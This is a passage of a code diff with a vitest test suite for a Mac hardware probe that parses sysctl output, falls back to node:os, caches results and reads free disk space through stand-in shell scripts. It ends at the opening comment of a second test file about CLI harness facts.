*
|
||||
* The IO itself is tested apart, against things this suite controls:
|
||||
*
|
||||
* 3. `spawnSysctl()` runs a small shell script of the test in place of sysctl. That proves what
|
||||
* a fake cannot: the arguments are the seven keys and nothing else, the output of a program
|
||||
* that exits 1 is still read (an Intel Mac lacks three keys, so sysctl exits 1 there), a
|
||||
* program that hangs is given up on, and the server's environment is not handed over.
|
||||
* 4. `dataDirFreeBytes()` with injected probes: a folder that does not exist yet, a mount that
|
||||
* does not answer, and a `statfs` that never comes back, which must not be started twice.
|
||||
*
|
||||
* One test at the end runs the real defaults once (the real spawn and the real `statfs`), to
|
||||
* prove they cannot reject on whatever machine runs the suite. On Linux `sysctl` knows none of
|
||||
* the keys, so that run ends in the fallback; on a Mac it ends in a real answer. Both are fine.
|
||||
*
|
||||
* Port: N/A (no server).
|
||||
*/
|
||||
|
||||
import { mkdtempSync, rmSync, writeFileSync } from 'node:fs';
|
||||
import { tmpdir } from 'node:os';
|
||||
import { isAbsolute, join } from 'node:path';
|
||||
import { afterEach, beforeEach, describe, expect, it } from 'vitest';
|
||||
import {
|
||||
dataDirFreeBytes,
|
||||
FREE_DISK_TIMEOUT_MS,
|
||||
freeDiskBytesOf,
|
||||
HARDWARE_CACHE_TTL_MS,
|
||||
parseSysctl,
|
||||
readHardware,
|
||||
resetHardwareCache,
|
||||
spawnSysctl,
|
||||
SYSCTL_KEYS,
|
||||
SYSCTL_PATH,
|
||||
SYSCTL_TIMEOUT_MS,
|
||||
type HardwareProbeDeps,
|
||||
} from '../src/local-model/hardware.js';
|
||||
|
||||
/**
|
||||
* The capture of the MacBook Pro (Mac17,13), 2026-11-06. The last four lines are not part of
|
||||
* the probe: two extra keys the capture asked for, the shell's exit status and a `df -k` line.
|
||||
*/
|
||||
const MACBOOK_SYSCTL = `hw.memsize: 51539607552
|
||||
machdep.cpu.brand_string: Apple M5 Pro
|
||||
hw.optional.arm64: 1
|
||||
sysctl.proc_translated: 0
|
||||
iogpu.wired_limit_mb: 0
|
||||
kern.osproductversion: 27.2
|
||||
hw.model: Mac17,13
|
||||
hw.perflevel0.physicalcpu: 6
|
||||
hw.perflevel1.physicalcpu: 12
|
||||
exit=0
|
||||
/dev/disk3s5 971094180 54383564 890926084 6% 542146 8909260840 0% /System/Volumes/Data
|
||||
`;
|
||||
|
||||
/** The capture of the Mac mini (Mac16,10), 2026-11-06, with the same four extra lines. */
|
||||
const MACMINI_SYSCTL = `hw.memsize: 17179869184
|
||||
machdep.cpu.brand_string: Apple M4
|
||||
hw.optional.arm64: 1
|
||||
sysctl.proc_translated: 0
|
||||
iogpu.wired_limit_mb: 0
|
||||
kern.osproductversion: 27.2
|
||||
hw.model: Mac16,10
|
||||
hw.perflevel0.physicalcpu: 4
|
||||
hw.perflevel1.physicalcpu: 6
|
||||
exit=0
|
||||
/dev/disk3s5 239362496 172954124 41752848 81% 2353838 417528480 1% /System/Volumes/Data
|
||||
`;
|
||||
|
||||
/** Free disk of the two Macs: the "available" column of their `df -k` lines, in bytes. */
|
||||
const MACBOOK_FREE_DISK = 890_926_084 * 1024;
|
||||
const MACMINI_FREE_DISK = 41_752_848 * 1024;
|
||||
|
||||
/**
|
||||
* What an Intel Mac prints: `hw.optional.arm64`, `sysctl.proc_translated` and
|
||||
* `iogpu.wired_limit_mb` do not exist there, so sysctl leaves their lines out (and exits 1).
|
||||
* NOT a capture: no Intel Mac was available, the shape is recalled.
|
||||
*/
|
||||
const INTEL_SYSCTL = `hw.memsize: 17179869184
|
||||
machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz
|
||||
kern.osproductversion: 13.6.7
|
||||
hw.model: MacBookPro15,1
|
||||
`;
|
||||
|
||||
/** Deps that spawn nothing and read no disk. A test overrides what it is about. */
|
||||
function deps(overrides: HardwareProbeDeps = {}): HardwareProbeDeps {
|
||||
return {
|
||||
platform: 'darwin',
|
||||
arch: 'arm64',
|
||||
runSysctl: async () => MACMINI_SYSCTL,
|
||||
freeDiskBytes: async () => MACMINI_FREE_DISK,
|
||||
totalMemBytes: () => 8 * 1024 ** 3,
|
||||
cpuModel: () => 'Fallback CPU',
|
||||
now: () => 1_000_000,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
beforeEach(() => {
|
||||
resetHardwareCache();
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
resetHardwareCache();
|
||||
});
|
||||
|
||||
describe('the probe command', () => {
|
||||
it('is an absolute path and asks for exactly the seven keys, never with -n', () => {
|
||||
expect(isAbsolute(SYSCTL_PATH)).toBe(true);
|
||||
expect(SYSCTL_PATH).toBe('/usr/sbin/sysctl');
|
||||
expect([...SYSCTL_KEYS]).toEqual([
|
||||
'hw.memsize',
|
||||
'machdep.cpu.brand_string',
|
||||
'hw.optional.arm64',
|
||||
'sysctl.proc_translated',
|
||||
'iogpu.wired_limit_mb',
|
||||
'kern.osproductversion',
|
||||
'hw.model',
|
||||
]);
|
||||
// Every argument is a key name. `-n` would print bare values, and a key missing on a
|
||||
// machine would then shift every value after it onto the wrong key.
|
||||
for (const key of SYSCTL_KEYS) expect(key).toMatch(/^[a-z][a-z0-9_.]*$/);
|
||||
});
|
||||
|
||||
it('is bounded, and its result is reused for 60 seconds', () => {
|
||||
expect(SYSCTL_TIMEOUT_MS).toBe(2000);
|
||||
expect(HARDWARE_CACHE_TTL_MS).toBe(60_000);
|
||||
});
|
||||
});
|
||||
|
||||
describe('parseSysctl on the two real Macs', () => {
|
||||
it('reads the MacBook Pro: M5 Pro, 48 GB, macOS 27.2, no wired limit set', () => {
|
||||
expect(parseSysctl(MACBOOK_SYSCTL)).toEqual({
|
||||
memBytes: 51_539_607_552,
|
||||
chip: 'Apple M5 Pro',
|
||||
arm64: true,
|
||||
translated: false,
|
||||
wiredLimitMb: 0,
|
||||
macosVersion: '27.2',
|
||||
macosMajor: 27,
|
||||
model: 'Mac17,13',
|
||||
});
|
||||
});
|
||||
|
||||
it('reads the Mac mini: M4, 16 GB, macOS 27.2, no wired limit set', () => {
|
||||
expect(parseSysctl(MACMINI_SYSCTL)).toEqual({
|
||||
memBytes: 17_179_869_184,
|
||||
chip: 'Apple M4',
|
||||
arm64: true,
|
||||
translated: false,
|
||||
wiredLimitMb: 0,
|
||||
macosVersion: '27.2',
|
||||
macosMajor: 27,
|
||||
model: 'Mac16,10',
|
||||
});
|
||||
});
|
||||
|
||||
it('skips the lines it does not know: other keys, the exit status, the df line', () => {
|
||||
const facts = parseSysctl(MACMINI_SYSCTL);
|
||||
expect(Object.keys(facts).sort()).toEqual(
|
||||
['arm64', 'chip', 'macosMajor', 'macosVersion', 'memBytes', 'model', 'translated', 'wiredLimitMb'].sort()
|
||||
);
|
||||
});
|
||||
|
||||
it('reports a wired limit of 0 as 0 (not set), and a set one as its number', () => {
|
||||
expect(parseSysctl(MACMINI_SYSCTL).wiredLimitMb).toBe(0);
|
||||
expect(parseSysctl('iogpu.wired_limit_mb: 14000\n').wiredLimitMb).toBe(14000);
|
||||
});
|
||||
});
|
||||
|
||||
describe('parseSysctl on other shapes', () => {
|
||||
it('reads an Intel Mac, whose output lacks three of the keys, without shifting a value', () => {
|
||||
expect(parseSysctl(INTEL_SYSCTL)).toEqual({
|
||||
memBytes: 17_179_869_184,
|
||||
chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
|
||||
macosVersion: '13.6.7',
|
||||
macosMajor: 13,
|
||||
model: 'MacBookPro15,1',
|
||||
});
|
||||
});
|
||||
|
||||
it('reads an Intel Mac that does print the arm64 flag, as 0', () => {
|
||||
const facts = parseSysctl(`hw.optional.arm64: 0\n${INTEL_SYSCTL}`);
|
||||
expect(facts.arm64).toBe(false);
|
||||
expect(facts.translated).toBeUndefined();
|
||||
});
|
||||
|
||||
it('reads a process under Rosetta: the machine is arm64 and the process is translated', () => {
|
||||
const facts = parseSysctl(MACMINI_SYSCTL.replace('sysctl.proc_translated: 0', 'sysctl.proc_translated: 1'));
|
||||
expect(facts.arm64).toBe(true);
|
||||
expect(facts.translated).toBe(true);
|
||||
});
|
||||
|
||||
it('drops a line that was cut off: a truncated output never yields half a value', () => {
|
||||
// Cut in the middle of the chip name. The memory line before it is whole.
|
||||
const cutInChip = 'hw.memsize: 17179869184\nmachdep.cpu.brand_string: Apple M';
|
||||
expect(parseSysctl(cutInChip)).toEqual({ memBytes: 17_179_869_184 });
|
||||
|
||||
// Cut in the middle of the memory figure: '1717' would be a valid, wrong number.
|
||||
expect(parseSysctl('hw.memsize: 1717')).toEqual({});
|
||||
|
||||
// Cut right after a whole line: everything up to there counts.
|
||||
const cutAfterLine = MACMINI_SYSCTL.slice(0, MACMINI_SYSCTL.indexOf('hw.optional.arm64'));
|
||||
expect(parseSysctl(cutAfterLine)).toEqual({ memBytes: 17_179_869_184, chip: 'Apple M4' });
|
||||
});
|
||||
|
||||
it('reads nothing from an empty output or from error text', () => {
|
||||
expect(parseSysctl('')).toEqual({});
|
||||
expect(parseSysctl('\n\n')).toEqual({});
|
||||
expect(
|
||||
parseSysctl("sysctl: unknown oid 'hw.memsize'\nsysctl: cannot stat /proc/sys/hw/memsize: No such file\n")
|
||||
).toEqual({});
|
||||
});
|
||||
|
||||
it('leaves out a value that does not parse instead of guessing', () => {
|
||||
const facts = parseSysctl(
|
||||
[
|
||||
'hw.memsize: lots',
|
||||
'machdep.cpu.brand_string: ',
|
||||
'hw.optional.arm64: yes',
|
||||
'sysctl.proc_translated: 2',
|
||||
'iogpu.wired_limit_mb: -1',
|
||||
'kern.osproductversion: Sequoia',
|
||||
`hw.model: ${'x'.repeat(200)}`,
|
||||
'',
|
||||
].join('\n')
|
||||
);
|
||||
expect(facts).toEqual({});
|
||||
});
|
||||
|
||||
it('refuses a memory size of 0 or one too large to be a number of bytes', () => {
|
||||
expect(parseSysctl('hw.memsize: 0\n').memBytes).toBeUndefined();
|
||||
expect(parseSysctl('hw.memsize: 99999999999999999999999\n').memBytes).toBeUndefined();
|
||||
});
|
||||
|
||||
it('accepts Windows line ends and padding, and the first line of a key wins', () => {
|
||||
const facts = parseSysctl('hw.memsize: 17179869184 \r\nhw.model: Mac16,10\r\nhw.model: Other9,9\r\n');
|
||||
expect(facts).toEqual({ memBytes: 17_179_869_184, model: 'Mac16,10' });
|
||||
});
|
||||
|
||||
it('reads the macOS major version from one, two or three numbers', () => {
|
||||
expect(parseSysctl('kern.osproductversion: 14\n')).toMatchObject({ macosVersion: '14', macosMajor: 14 });
|
||||
expect(parseSysctl('kern.osproductversion: 15.7\n')).toMatchObject({ macosVersion: '15.7', macosMajor: 15 });
|
||||
expect(parseSysctl('kern.osproductversion: 13.6.7\n')).toMatchObject({ macosVersion: '13.6.7', macosMajor: 13 });
|
||||
});
|
||||
});
|
||||
|
||||
describe('readHardware on the two real Macs', () => {
|
||||
it('describes the MacBook Pro', async () => {
|
||||
const hw = await readHardware(
|
||||
deps({ runSysctl: async () => MACBOOK_SYSCTL, freeDiskBytes: async () => MACBOOK_FREE_DISK })
|
||||
);
|
||||
expect(hw).toEqual({
|
||||
platform: 'darwin',
|
||||
arch: 'arm64',
|
||||
arm64: true,
|
||||
translated: false,
|
||||
memBytes: 51_539_607_552,
|
||||
memGb: '51.5',
|
||||
memClassGb: 48,
|
||||
chip: 'Apple M5 Pro',
|
||||
model: 'Mac17,13',
|
||||
macosVersion: '27.2',
|
||||
macosMajor: 27,
|
||||
wiredLimitMb: 0,
|
||||
freeDiskBytes: MACBOOK_FREE_DISK,
|
||||
freeDiskGb: '912',
|
||||
source: 'sysctl',
|
||||
});
|
||||
});
|
||||
|
||||
it('describes the Mac mini', async () => {
|
||||
const hw = await readHardware(deps());
|
||||
expect(hw).toEqual({
|
||||
platform: 'darwin',
|
||||
arch: 'arm64',
|
||||
arm64: true,
|
||||
translated: false,
|
||||
memBytes: 17_179_869_184,
|
||||
memGb: '17.2',
|
||||
memClassGb: 16,
|
||||
chip: 'Apple M4',
|
||||
model: 'Mac16,10',
|
||||
macosVersion: '27.2',
|
||||
macosMajor: 27,
|
||||
wiredLimitMb: 0,
|
||||
freeDiskBytes: MACMINI_FREE_DISK,
|
||||
freeDiskGb: '42.8',
|
||||
source: 'sysctl',
|
||||
});
|
||||
});
|
||||
|
||||
it('is plain JSON: it survives a round trip unchanged', async () => {
|
||||
const hw = await readHardware(deps());
|
||||
expect(JSON.parse(JSON.stringify(hw))).toEqual(hw);
|
||||
});
|
||||
|
||||
it('describes an Intel Mac from its shorter output: no arm64 flag, an x64 process', async () => {
|
||||
const hw = await readHardware(deps({ arch: 'x64', runSysctl: async () => INTEL_SYSCTL }));
|
||||
expect(hw.source).toBe('sysctl');
|
||||
expect(hw.arch).toBe('x64');
|
||||
expect(hw.chip).toBe('Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz');
|
||||
expect(hw.macosMajor).toBe(13);
|
||||
expect(hw).not.toHaveProperty('arm64');
|
||||
expect(hw).not.toHaveProperty('translated');
|
||||
expect(hw).not.toHaveProperty('wiredLimitMb');
|
||||
});
|
||||
|
||||
it('takes the chip name from node:os when sysctl printed everything but that', async () => {
|
||||
const hw = await readHardware(
|
||||
deps({ runSysctl: async () => MACMINI_SYSCTL.replace('machdep.cpu.brand_string: Apple M4\n', '') })
|
||||
);
|
||||
expect(hw.source).toBe('sysctl');
|
||||
expect(hw.chip).toBe('Fallback CPU');
|
||||
});
|
||||
});
|
||||
|
||||
describe('readHardware when the probe fails', () => {
|
||||
it('answers from node:os when the spawn could not run or timed out', async () => {
|
||||
const hw = await readHardware(
|
||||
deps({
|
||||
runSysctl: async () => undefined,
|
||||
totalMemBytes: () => 34_359_738_368,
|
||||
cpuModel: () => 'Apple M2 Max',
|
||||
})
|
||||
);
|
||||
expect(hw).toEqual({
|
||||
platform: 'darwin',
|
||||
arch: 'arm64',
|
||||
memBytes: 34_359_738_368,
|
||||
memGb: '34.4',
|
||||
memClassGb: 32,
|
||||
chip: 'Apple M2 Max',
|
||||
freeDiskBytes: MACMINI_FREE_DISK,
|
||||
freeDiskGb: '42.8',
|
||||
source: 'os-fallback',
|
||||
});
|
||||
});
|
||||
|
||||
it('never rejects when a dependency throws or rejects', async () => {
|
||||
const hw = await readHardware(
|
||||
deps({
|
||||
runSysctl: () => Promise.reject(new Error('spawn EACCES')),
|
||||
freeDiskBytes: () => {
|
||||
throw new Error('statfs failed');
|
||||
},
|
||||
cpuModel: () => {
|
||||
throw new Error('no cpus');
|
||||
},
|
||||
})
|
||||
);
|
||||
expect(hw.source).toBe('os-fallback');
|
||||
expect(hw.memBytes).toBe(8 * 1024 ** 3);
|
||||
expect(hw).not.toHaveProperty('chip');
|
||||
expect(hw).not.toHaveProperty('freeDiskBytes');
|
||||
expect(hw).not.toHaveProperty('freeDiskGb');
|
||||
});
|
||||
|
||||
it('still answers when even the memory size cannot be read', async () => {
|
||||
const hw = await readHardware(
|
||||
deps({
|
||||
runSysctl: async () => undefined,
|
||||
totalMemBytes: () => {
|
||||
throw new Error('no memory figure');
|
||||
},
|
||||
})
|
||||
);
|
||||
expect(hw).toMatchObject({ source: 'os-fallback', memBytes: 0, memGb: '0.0', memClassGb: 0 });
|
||||
});
|
||||
|
||||
it('trusts nothing of an output that has no memory size', async () => {
|
||||
// A truncated or foreign output: the chip and version lines are whole, hw.memsize is not there.
|
||||
const withoutMemory = MACMINI_SYSCTL.replace('hw.memsize: 17179869184\n', '');
|
||||
const hw = await readHardware(deps({ runSysctl: async () => withoutMemory }));
|
||||
expect(hw.source).toBe('os-fallback');
|
||||
expect(hw.memBytes).toBe(8 * 1024 ** 3);
|
||||
expect(hw.chip).toBe('Fallback CPU');
|
||||
expect(hw).not.toHaveProperty('macosVersion');
|
||||
expect(hw).not.toHaveProperty('macosMajor');
|
||||
expect(hw).not.toHaveProperty('model');
|
||||
expect(hw).not.toHaveProperty('wiredLimitMb');
|
||||
expect(hw).not.toHaveProperty('arm64');
|
||||
});
|
||||
|
||||
it('falls back when the output was cut off inside the memory figure', async () => {
|
||||
const hw = await readHardware(deps({ runSysctl: async () => 'hw.memsize: 1717' }));
|
||||
expect(hw.source).toBe('os-fallback');
|
||||
expect(hw.memBytes).toBe(8 * 1024 ** 3);
|
||||
});
|
||||
|
||||
it('leaves the free disk out when it is unknown, and keeps the rest', async () => {
|
||||
const hw = await readHardware(deps({ freeDiskBytes: async () => undefined }));
|
||||
expect(hw.source).toBe('sysctl');
|
||||
expect(hw).not.toHaveProperty('freeDiskBytes');
|
||||
expect(hw).not.toHaveProperty('freeDiskGb');
|
||||
});
|
||||
|
||||
it('reports a full disk as 0 bytes free, which is a figure and not "unknown"', async () => {
|
||||
const hw = await readHardware(deps({ freeDiskBytes: async () => 0 }));
|
||||
expect(hw.freeDiskBytes).toBe(0);
|
||||
expect(hw.freeDiskGb).toBe('0.0');
|
||||
});
|
||||
});
|
||||
|
||||
describe('readHardware off macOS', () => {
|
||||
it('spawns nothing and reads no disk', async () => {
|
||||
let spawned = 0;
|
||||
let diskRead = 0;
|
||||
const hw = await readHardware(
|
||||
deps({
|
||||
platform: 'linux',
|
||||
arch: 'x64',
|
||||
runSysctl: async () => {
|
||||
spawned++;
|
||||
return MACMINI_SYSCTL;
|
||||
},
|
||||
freeDiskBytes: async () => {
|
||||
diskRead++;
|
||||
return 1;
|
||||
},
|
||||
totalMemBytes: () => 67_430_023_168,
|
||||
})
|
||||
);
|
||||
expect(spawned).toBe(0);
|
||||
expect(diskRead).toBe(0);
|
||||
expect(hw).toEqual({
|
||||
platform: 'linux',
|
||||
arch: 'x64',
|
||||
memBytes: 67_430_023_168,
|
||||
memGb: '67.4',
|
||||
memClassGb: 63,
|
||||
source: 'not-probed',
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe('the cache of readHardware', () => {
|
||||
it('reuses one result for 60 seconds, then probes again', async () => {
|
||||
let clock = 5_000_000;
|
||||
let spawned = 0;
|
||||
const counting = deps({
|
||||
now: () => clock,
|
||||
runSysctl: async () => {
|
||||
spawned++;
|
||||
return spawned === 1 ? MACMINI_SYSCTL : MACBOOK_SYSCTL;
|
||||
},
|
||||
});
|
||||
|
||||
const first = await readHardware(counting);
|
||||
clock += HARDWARE_CACHE_TTL_MS - 1;
|
||||
const second = await readHardware(counting);
|
||||
expect(spawned).toBe(1);
|
||||
expect(second).toBe(first);
|
||||
|
||||
clock += 1;
|
||||
const third = await readHardware(counting);
|
||||
expect(spawned).toBe(2);
|
||||
expect(third.chip).toBe('Apple M5 Pro');
|
||||
});
|
||||
|
||||
it('caches a failed probe too: a broken sysctl is not spawned on every request', async () => {
|
||||
let spawned = 0;
|
||||
const failing = deps({
|
||||
runSysctl: async () => {
|
||||
spawned++;
|
||||
return undefined;
|
||||
},
|
||||
});
|
||||
expect((await readHardware(failing)).source).toBe('os-fallback');
|
||||
expect((await readHardware(failing)).source).toBe('os-fallback');
|
||||
expect(spawned).toBe(1);
|
||||
});
|
||||
|
||||
it('lets concurrent callers share one probe', async () => {
|
||||
let spawned = 0;
|
||||
let release: (text: string) => void = () => {};
|
||||
const slow = deps({
|
||||
runSysctl: () => {
|
||||
spawned++;
|
||||
return new Promise<string>((resolve) => {
|
||||
release = resolve;
|
||||
});
|
||||
},
|
||||
});
|
||||
const callers = [readHardware(slow), readHardware(slow), readHardware(slow)];
|
||||
// Let the three calls reach the spawn before it answers.
|
||||
await new Promise((resolve) => setImmediate(resolve));
|
||||
release(MACMINI_SYSCTL);
|
||||
const results = await Promise.all(callers);
|
||||
expect(spawned).toBe(1);
|
||||
expect(results[1]).toBe(results[0]);
|
||||
expect(results[2]).toBe(results[0]);
|
||||
});
|
||||
|
||||
it('probes again after a reset, and does not trust a clock that ran backwards', async () => {
|
||||
let clock = 9_000_000;
|
||||
let spawned = 0;
|
||||
const counting = deps({
|
||||
now: () => clock,
|
||||
runSysctl: async () => {
|
||||
spawned++;
|
||||
return MACMINI_SYSCTL;
|
||||
},
|
||||
});
|
||||
await readHardware(counting);
|
||||
resetHardwareCache();
|
||||
await readHardware(counting);
|
||||
expect(spawned).toBe(2);
|
||||
|
||||
clock -= 10_000;
|
||||
await readHardware(counting);
|
||||
expect(spawned).toBe(3);
|
||||
});
|
||||
});
|
||||
|
||||
// The scripts below are POSIX shell. Codeman's server does not run on Windows.
|
||||
describe.skipIf(process.platform === 'win32')('spawnSysctl, against a script of the test', () => {
|
||||
let folder: string;
|
||||
|
||||
beforeEach(() => {
|
||||
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-spawn-'));
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(folder, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
/** An executable shell script standing in for sysctl. */
|
||||
function script(body: string, mode = 0o755): string {
|
||||
const path = join(folder, 'fake-sysctl');
|
||||
writeFileSync(path, `#!/bin/sh\n${body}\n`, { mode });
|
||||
return path;
|
||||
}
|
||||
|
||||
it('passes the seven keys as arguments and nothing else: no -n, no shell', async () => {
|
||||
// printf, not echo: echo would swallow a `-n` argument, the very thing this test looks for.
|
||||
const output = await spawnSysctl(script('printf \'%s\\n\' "$@"'));
|
||||
expect(output?.trimEnd().split('\n')).toEqual([...SYSCTL_KEYS]);
|
||||
});
|
||||
|
||||
it('reads the output of a program that exits 1, as sysctl does on an Intel Mac', async () => {
|
||||
// Three keys are unknown there: their errors go to stderr, the other four lines to stdout.
|
||||
const output = await spawnSysctl(
|
||||
script(
|
||||
[
|
||||
"echo 'hw.memsize: 17179869184'",
|
||||
"echo 'machdep.cpu.brand_string: Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz'",
|
||||
`echo "sysctl: unknown oid 'hw.optional.arm64'" >&2`,
|
||||
`echo "sysctl: unknown oid 'sysctl.proc_translated'" >&2`,
|
||||
`echo "sysctl: unknown oid 'iogpu.wired_limit_mb'" >&2`,
|
||||
"echo 'kern.osproductversion: 13.6.7'",
|
||||
"echo 'hw.model: MacBookPro15,1'",
|
||||
'exit 1',
|
||||
].join('\n')
|
||||
)
|
||||
);
|
||||
expect(output).toBeDefined();
|
||||
expect(output).not.toContain('unknown oid');
|
||||
expect(parseSysctl(output as string)).toEqual({
|
||||
memBytes: 17_179_869_184,
|
||||
chip: 'Intel(R) Core(TM) i7-9750H CPU @ 2.60GHz',
|
||||
macosVersion: '13.6.7',
|
||||
macosMajor: 13,
|
||||
model: 'MacBookPro15,1',
|
||||
});
|
||||
});
|
||||
|
||||
it('answers undefined for a program that does not exist or may not be run', async () => {
|
||||
expect(await spawnSysctl(join(folder, 'no-such-program'))).toBeUndefined();
|
||||
expect(await spawnSysctl(script('echo "hw.memsize: 1"', 0o644))).toBeUndefined();
|
||||
});
|
||||
|
||||
it('gives up on a program that hangs, and does not hand over half an output', async () => {
|
||||
const started = Date.now();
|
||||
// `exec` so the signal reaches the sleeper itself and nothing is left behind.
|
||||
const output = await spawnSysctl(script("echo 'hw.memsize: 17179869184'\nexec sleep 20"), 200);
|
||||
expect(output).toBeUndefined();
|
||||
expect(Date.now() - started).toBeLessThan(5000);
|
||||
});
|
||||
|
||||
it('answers undefined for an output far larger than seven lines', async () => {
|
||||
expect(await spawnSysctl(script("head -c 200000 /dev/zero | tr '\\0' 'x'"))).toBeUndefined();
|
||||
});
|
||||
|
||||
it("does not pass the server's environment to the program", async () => {
|
||||
const name = 'CODEMAN_LOCAL_MODEL_TEST_SECRET';
|
||||
process.env[name] = 'hunter2';
|
||||
try {
|
||||
const output = await spawnSysctl(script(`echo "secret=\${${name}:-unset}"`));
|
||||
expect(output?.trim()).toBe('secret=unset');
|
||||
} finally {
|
||||
delete process.env[name];
|
||||
}
|
||||
});
|
||||
});
|
||||
|
||||
describe('dataDirFreeBytes', () => {
|
||||
let folder: string;
|
||||
|
||||
beforeEach(() => {
|
||||
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-disk-'));
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(folder, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('reads the free bytes of the data dir with the real probe and the real statfs', async () => {
|
||||
const free = await dataDirFreeBytes({ dataDir: () => folder });
|
||||
expect(typeof free).toBe('number');
|
||||
expect(free).toBeGreaterThanOrEqual(0);
|
||||
});
|
||||
|
||||
it('uses the nearest existing parent when the data dir does not exist yet', async () => {
|
||||
const asked: string[] = [];
|
||||
const free = await dataDirFreeBytes({
|
||||
dataDir: () => join(folder, 'not', 'yet', 'there'),
|
||||
freeBytesOf: async (path) => {
|
||||
asked.push(path);
|
||||
return 123;
|
||||
},
|
||||
});
|
||||
expect(free).toBe(123);
|
||||
expect(asked).toEqual([folder]);
|
||||
});
|
||||
|
||||
it('does not touch a folder whose mount does not answer, or a path that is a file', async () => {
|
||||
for (const kind of ['unknown', 'file'] as const) {
|
||||
let touched = 0;
|
||||
const free = await dataDirFreeBytes({
|
||||
dataDir: () => folder,
|
||||
probeKind: async () => kind,
|
||||
freeBytesOf: async () => {
|
||||
touched++;
|
||||
return 1;
|
||||
},
|
||||
});
|
||||
expect(free, kind).toBeUndefined();
|
||||
expect(touched, kind).toBe(0);
|
||||
}
|
||||
});
|
||||
|
||||
it('stops walking up after a few parents', async () => {
|
||||
let probes = 0;
|
||||
const free = await dataDirFreeBytes({
|
||||
dataDir: () => '/a/b/c/d/e/f/g/h/i/j/k/l',
|
||||
probeKind: async () => {
|
||||
probes++;
|
||||
return 'absent';
|
||||
},
|
||||
freeBytesOf: async () => 1,
|
||||
});
|
||||
expect(free).toBeUndefined();
|
||||
expect(probes).toBe(7);
|
||||
});
|
||||
|
||||
it('gives up on a statfs that does not come back, and never starts a second one meanwhile', async () => {
|
||||
let started = 0;
|
||||
let finish: (bytes: number) => void = () => {};
|
||||
const hanging = {
|
||||
dataDir: () => folder,
|
||||
freeBytesOf: () => {
|
||||
started++;
|
||||
return new Promise<number>((resolve) => {
|
||||
finish = resolve;
|
||||
});
|
||||
},
|
||||
timeoutMs: 20,
|
||||
};
|
||||
|
||||
// The first read waits its timeout and answers "unknown".
|
||||
expect(await dataDirFreeBytes(hanging)).toBeUndefined();
|
||||
expect(started).toBe(1);
|
||||
|
||||
// While that statfs is still out, later reads answer at once and start nothing.
|
||||
const before = Date.now();
|
||||
expect(await dataDirFreeBytes(hanging)).toBeUndefined();
|
||||
expect(await dataDirFreeBytes({ ...hanging, timeoutMs: 60_000 })).toBeUndefined();
|
||||
expect(Date.now() - before).toBeLessThan(1000);
|
||||
expect(started).toBe(1);
|
||||
|
||||
// Once it finally answers, the next read works again.
|
||||
finish(5);
|
||||
await new Promise((resolve) => setImmediate(resolve));
|
||||
expect(await dataDirFreeBytes({ ...hanging, freeBytesOf: async () => 42 })).toBe(42);
|
||||
});
|
||||
|
||||
it('never rejects when one of its reads does', async () => {
|
||||
const failing = async (): Promise<never> => {
|
||||
throw new Error('EIO');
|
||||
};
|
||||
expect(await dataDirFreeBytes({ dataDir: () => folder, freeBytesOf: failing })).toBeUndefined();
|
||||
expect(await dataDirFreeBytes({ dataDir: () => folder, probeKind: failing })).toBeUndefined();
|
||||
expect(
|
||||
await dataDirFreeBytes({
|
||||
dataDir: () => {
|
||||
throw new Error('no home');
|
||||
},
|
||||
})
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it('is bounded by default', () => {
|
||||
expect(FREE_DISK_TIMEOUT_MS).toBe(2000);
|
||||
});
|
||||
});
|
||||
|
||||
describe('the real defaults', () => {
|
||||
let folder: string;
|
||||
|
||||
beforeEach(() => {
|
||||
folder = mkdtempSync(join(tmpdir(), 'codeman-local-model-hw-'));
|
||||
});
|
||||
|
||||
afterEach(() => {
|
||||
rmSync(folder, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
it('reads the free bytes of a real folder, and undefined for one that does not exist', async () => {
|
||||
const free = await freeDiskBytesOf(folder);
|
||||
expect(typeof free).toBe('number');
|
||||
expect(free).toBeGreaterThanOrEqual(0);
|
||||
expect(await freeDiskBytesOf(join(folder, 'missing', 'deeper'))).toBeUndefined();
|
||||
});
|
||||
|
||||
it('never rejects with the real spawn and the real disk read, whatever machine this is', async () => {
|
||||
// Pretend to be a Mac so the spawn and the disk read really run. On Linux /usr/sbin/sysctl
|
||||
// either does not exist or knows none of the keys: the answer is then the fallback.
|
||||
const hw = await readHardware({ platform: 'darwin' });
|
||||
expect(['sysctl', 'os-fallback']).toContain(hw.source);
|
||||
expect(hw.memBytes).toBeGreaterThan(0);
|
||||
expect(hw.memGb).toMatch(/^\d+(\.\d)?$/);
|
||||
if (hw.freeDiskBytes !== undefined) {
|
||||
expect(hw.freeDiskBytes).toBeGreaterThanOrEqual(0);
|
||||
expect(hw.freeDiskGb).toMatch(/^\d+(\.\d)?$/);
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,395 @@
|
||||
/**
|
||||
* @fileoverview `buildHarnessFacts()`: what the server knows about each catalogue harness on
|
||||
* this machine (src/local-model/harness-facts.ts), read from the CLI registry at call time.
|
||||
*
|
||||
* The catalogue here is the test's own: the stock one is filled by another module and its rows
|
||||
* are not what this file is about. The registry is the REAL stock registry unless a test says
|
||||
* otherwise, so the model id anchors below are regression anchors on shipped data.
|
||||
*
|
||||
* Two things a reader should know before trusting a green run:
|
||||
* - Under vitest the real availability probe is inert (it finds no CLI). A test that cares
|
||||
* about `installed` therefore injects `probeInstalled`.
|
||||
* - The registry's install command resolver reads `process.platform` and falls back to the
|
||||
* Linux command, so on a Linux machine it never returns a macOS command. The macOS cases
|
||||
* inject `installCommandFor` and read the entry's own `darwin` command.
|
||||
* - The command a fact carries (`installCommand`) is the COMPILED stock command, the one the
|
||||
* install job would run. A `clis.json` override changes what the registry shows and must
|
||||
* not change it.
|
||||
*
|
